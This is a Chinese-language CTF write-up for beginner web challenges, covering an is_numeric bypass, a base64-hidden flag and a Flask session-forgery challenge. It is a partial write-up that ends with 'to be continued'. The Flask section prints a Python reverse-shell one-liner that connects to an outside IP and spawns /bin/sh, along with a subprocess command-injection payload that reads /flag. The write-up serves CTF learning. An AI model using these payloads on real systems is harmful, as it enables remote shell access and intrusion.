浙江师范大学入门题WP

浙江师范大学入门题WP
fulian23[2022 A1CTF]Diana的身高
1 |
|
is_numeric绕过,末尾加%00即可
1 | <?php |
结果并没有flag😅(nmd),看提示应该是在cookie里
ZJNUCTF{Guanzhu_Jiaran_Dundun_Jiechan}
游戏启动!
题目说6666分就有flag,直接源码里搜6666
找到了,base64解码后就是flag
zjnuctf{ae5b6d60-fb25-4fbd-a68d-b8d9cb51d66d}
flask_session
下载附件,里面有secret_key:
1 | app.config['SECRET_KEY'] = "hello" |
根据源码,伪造一个name为weber的session
1 | eyJuYW1lIjoid2ViZXIifQ.Z5JOYg.q53RLSdVbc2VNY1QvEQgkCRtZ7A |
然后就是根据name跟weber参数构造payload
一开始我打算直接用python获取shell:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("39.96.125.213",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
发现并不能回显
用curl向服务器发送请求发现并没有请求到,所以题目应该不出网
由于不出网又要获得回显,所以观察到
1 |
|
session[‘name’]会被渲染到页面中,所以将payload内容赋值给session[‘name’]
os模块中system执行的命令并不会返回,所以使用subprocess模块
1 | ?name=session['name']=&weber=__import__('subprocess').check_output('cat /flag', shell=True, text=True) |
源码中拼接两个变量刚好一个赋值,一个用来构造命令
1 | flag{Y0u_ar3_th3_Web_G0d!!!!!!} |
未完待续。。。